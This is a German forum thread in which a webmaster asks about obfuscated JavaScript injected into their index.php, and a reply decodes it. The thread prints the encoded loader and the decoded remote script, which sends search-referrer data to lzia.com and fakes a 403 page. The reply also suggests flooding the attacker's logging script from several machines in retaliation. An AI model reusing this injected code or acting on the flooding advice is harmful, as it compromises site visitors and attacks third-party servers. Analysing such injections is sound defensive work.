Server gehackt? Javascript code?



  • Hallo,

    Heute habe ich mir mal meine index.php angesehen und folgenden Eintrag entdeckt:

    <script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%2631tsd%264Eiuuq%264B00%7Bkjs/dpn0%7Bkjs/kt%264F%264D0tdsjqu%264F%261B1')</script>

    Ich bin nun sehr verwirrt...
    Mich würde gerne interessieren was dieser Code macht?
    Danke falls mir jemand helfen kann 🙂



  • Er forwarded die Seite an eine andere, die bei mir nur einen 403 Fehler ausgibt.
    Sowas aehnliches hatte ich aber auch mal - mittels SQL Injection hatte jemand in praktisch jedes aenderbare feld weiterleitungen gepackt.. sowas ist aergerlich...



  • Hallo,

    Danke für deine Hilfe:
    Könntest du mir noch erklären auf welche Seite das umgeleitet wird und ob damit versucht wird durch Werbung Geld zu machen?

    Danke
    LG



  • Der erste unescape Code schreibt folgendes ins Dokument

    <script language="javascript">function dF(s){var s1=unescape(s.substr(0,s.length-1)); var t='';for(i=0;i<s1.length;i++)t+=String.fromCharCode(s1.charCodeAt(i)-s.substr(s.length-1,1));document.write(unescape(t));}</script>
    

    Der darauf folgende Aufruf von dF schreibt dann:

    <script src=http://zjir.com/zjir.js></script>
    

    Dadurch wird folgender Code eingebunden:

    r=document.referrer;u=document.URL;t="";se="unknown"; 
    k="phentermine";
    function a(c,d,e){if(r.indexOf(c)!=-1){t=d;se=e;}} 
    a("google.","q","google"); 
    a("msn.","q","msn"); 
    a("yahoo.","p","yahoo"); 
    a("altavista.","q","altavista"); 
    a("aol.","query","aol"); 
    a("ask.","q","ask"); 
    a("eureka.com.","q","eureka.com"); 
    a("lycos.com.","query","lycos"); 
    a("hotbot.com.","MT","hotbot"); 
    a("infoseek.com.","qt","infoseek.com"); 
    a("webcrawler.","searchText","webcrawler"); 
    a("excite.","search","excite"); 
    a("netscape.com.","search","netscape"); 
    a("mamma.com.","query","mamma"); 
    a("alltheweb.com.","query","alltheweb.com"); 
    a("northernlight.com.","qr","northernlight.com"); 
    a("rambler.ru.","words","rambler.ru"); 
    a("aport.ru.","r","aport.ru"); 
    a("yandex.ru.","text","yandex.ru"); 
    a("pingwin.ru.","searchword","pingwin.ru"); 
    a("www.ru.","Str_Find","www.ru"); 
    a("punto.ru.","text","punto.ru"); 
    if(t.length&&((q=r.indexOf("?"+t+"="))!=-1||(q=r.indexOf("&"+t+"="))!=-1))
    {
        k=r.substring(q+2+t.length).split("&")[0];
    
    g="http://lzia.com/tds/in.cgi?20&HTTP_REFERER="+se+";"+r.substring(q+2+t.length).split("&")[0].split("+").join("%20").split("%20").join("%2B")+";"+u+"&ur=1&parameter="+r.substring(q+2+t.length).split("&")[0];
        window.location=g;
    }
    else {
       window.document.title='403 Forbidden';
       window.document.body.style.backgroundColor='white';
       window.document.body.style.color='black';
       document.writeln("<H1>Forbidden</H1>");
       document.writeln("You don't have permission to access "+window.location.pathname);
       document.writeln("on this server.<P>");
       document.writeln("<HR>");
       document.writeln("<ADDRESS>Apache/1.3.29 Server at "+window.location.hostname+" Port 80</ADDRESS>");
       document.writeln("<div style='display:none'>");
    }
    

    Die ganzen a da sind eine Art Lookuptable für den Referrer. Dieser sollte die Seite sein welche der User auf hatte ehe er zu deiner Seite gelangt ist. (Samt get Parameter.)

    Falls ein Referer String gefunden wurde und es GET Skript Parameter enthält, dann wird das ganze als neue URL mit GET Parametern formatiert und wird diese Seite aufgerufen. Dadurch werden die alten GET Parameter geloggt, also ausspioniert.

    Wenn kein Referer gefunden wurde dann wird eine einfache 403 Apache Seite vorgetäuscht aber nichts geloggt.

    Wenn das Log Skript aufgerufen wird ohne Parameter dann kommt da:

    Error: 'can't open redirects.log file'

    Als erstes würde ich dir raten den Code mal schleunigst aus deiner Seite zu nehmen. Ziel ist es user Accounts von den im Skript aufgelisteten Seiten auszuspionieren.

    Wenn du Vergeltung und nachträglich deine Besucher schützen willst dann könntest du ihre Logdatei mit Müll fluten. Schau dir einfach mal das Format der erwarteten Yahoo/Msn/co URLs an. Schreib ein Skript welches solche URLs per Zufall generiert. Dann sendest du diese an das Logskript. Ich würde dir abraten dies von nur einem Computer aus zu machen. Wahrscheinlich loggen die auch deine IP um im Falle eines Angriffs nach IP filtern zu können.



  • Hallo,

    Vielen Dank für deine Hilfe 🙂
    Hast du eventuell ICQ oder MSN?
    Hätte da noch ein paar Fragen, die ich dir am besten persönlich stelle, sonst wird das hier ziemlich lange...

    LG



  • Ich sehe nicht was es da noch zu besprechen gibt, aber gut, hier ist meine E-Mail Adresse in umgekehrter Reihenfolge:
    de dot freenet at ben04_01


Anmelden zum Antworten